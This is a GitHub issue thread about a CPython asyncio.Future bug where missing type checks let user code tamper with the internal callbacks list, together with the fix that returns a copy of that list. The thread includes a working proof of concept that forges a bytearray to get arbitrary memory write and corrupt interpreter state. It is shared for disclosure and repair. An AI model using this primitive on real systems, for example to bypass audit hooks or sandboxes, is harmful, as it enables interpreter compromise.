-
-
Notifications
You must be signed in to change notification settings - Fork 31k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Lack of type checks in asyncio.Future can cause crash or the ability to craft malicious objects #125789
Comments
You can get the real reference to the callbacks list with something as simple as this, no need for the evil class I used in the initial report. import asyncio
fut = asyncio.Future()
pad = lambda: ...
fut.add_done_callback(pad) # sets fut->fut_callback0
fut.add_done_callback(lambda x: 1) # sets first item in fut->fut_callbacks list
# removes callback from fut->fut_callback0 setting it to NULL
fut.remove_done_callback(pad)
for _ in range(10):
# will always be the same since it's now returning the real ref
print(hex(id(fut._callbacks))) |
(As you observed) I don't think you necessarily need to get the real reference since you can just access it directly using You probably still need the evil class just to able to corrupt the interpreter's state though: import asyncio
fut = asyncio.Future()
class evil:
def __eq__(self, other):
global mem
mem = other
return False
cb_pad = lambda: ...
fut.add_done_callback(cb_pad)
fut.add_done_callback(evil())
fut.remove_done_callback(cb_pad)
fake = (
(0x123456).to_bytes(8, 'little') +
id(bytearray).to_bytes(8, 'little') +
(2 ** 63 - 1).to_bytes(8, 'little') +
(0).to_bytes(24, 'little')
)
i2f = lambda num: 5e-324 * num
fut._callbacks[0] = complex(0, i2f(id(fake) + bytes.__basicsize__ - 1))
fut.remove_done_callback(evil())
mem[id(250) + int.__basicsize__] = 100
assert 250 == 100 |
By the way, we decided not to categorize this as a security issue because of the required capabilities an adversary would need to make it work (hence it will only be backported until 3.12 and not until 3.9):
@Nico-Posada If I'm missing something here or misunderstood your write-up, please enlighten me. AFAICT, the goal is to get some writable memory, yet this requires to play with |
Yeah, I never intended for it to be labeled as a security bug since you can do much more malicious things with the ability to execute arbitrary python code. The only other possible issue would be it being used to bypass audit hooks, but that would require the original program to have asyncio imported beforehand to be able to snag it from sys.modules. |
The core problem here is that there's an edge case present when the C implementation doesn't returns a copy of callbacks, as such it can be mutated by user and can crash the interpreter or worse. This doesn't qualifies as a security issue as the user needs to have code to mutate the list in a specific order and "mess" around with the private '_callbacks'. The fix I propose is to always return a copy of callbacks in C implementation in all cases so that internal code need not be concerned about mutations from user code to the list of callbacks. Fix at #125922 |
…125922) Fix `asyncio.Future._callbacks` to always return a copy of the internal list of callbacks to avoid mutation from user code affecting the internal state.
…backs (python#125922) Fix `asyncio.Future._callbacks` to always return a copy of the internal list of callbacks to avoid mutation from user code affecting the internal state. (cherry picked from commit cae853e)
…of callbacks (pythonGH-125922) (pythonGH-125976) pythonGH-125789: fix `fut._callbacks` to always return a copy of callbacks (pythonGH-125922) Fix `asyncio.Future._callbacks` to always return a copy of the internal list of callbacks to avoid mutation from user code affecting the internal state. (cherry picked from commit f54e1a2) Co-authored-by: Kumar Aditya <kumaraditya@python.org> (cherry picked from commit cae853e)
…lbacks (GH-125922) (#125977) GH-125789: fix `fut._callbacks` to always return a copy of callbacks (GH-125922) Fix `asyncio.Future._callbacks` to always return a copy of the internal list of callbacks to avoid mutation from user code affecting the internal state. Co-authored-by: Kumar Aditya <kumaraditya@python.org> (cherry picked from commit cae853e)
…backs (python#125922) Fix `asyncio.Future._callbacks` to always return a copy of the internal list of callbacks to avoid mutation from user code affecting the internal state.
Crash report
What happened?
In
Modules/_asynciomodule.c
the_asyncio_Future_remove_done_callback_impl
function has a section where it retrieves an item from a list and then immediately assumes it's a tuple without doing any checks (this issue also exists infuture_schedule_callbacks
, but I'll only go over this one for brevity).We can see that it gets item
i
from fut_callbacks and then immediately assumes it's a tuple without doing any checks. This is fine if there's no way for the user to control fut_callbacks, but we can see the Future object has a_callbacks
attribute which usesFutureObj_get_callbacks
as its getterIn the rare case that
fut_callback0
is NULL andfut_callbacks
isn't, this will actually return the real reference tofut_callbacks
allowing us to modify the items in the list to be whatever we want. Here's a short POC to showcase a crash caused by this bug.And if done carefully, this can be used to craft a malicious bytearray object which can write to anywhere in memory. Here's an example of that which works on 64-bit systems (tested on Windows and Linux)
This can be fixed by making it impossible to get a real reference to the fut->fut_callbacks list, or just doing proper type checking in places where it's used.
CPython versions tested on:
3.11, 3.12, 3.13
Operating systems tested on:
Linux, Windows
Output from running 'python -VV' on the command line:
No response
Linked PRs
asyncio
callback scheduling methods #125833fut._callbacks
to always return a copy of callbacks #125922fut._callbacks
to always return a copy of callbacks (#125922) #125976fut._callbacks
to always return a copy of callbacks (GH-125922) (GH-125976) #125977The text was updated successfully, but these errors were encountered: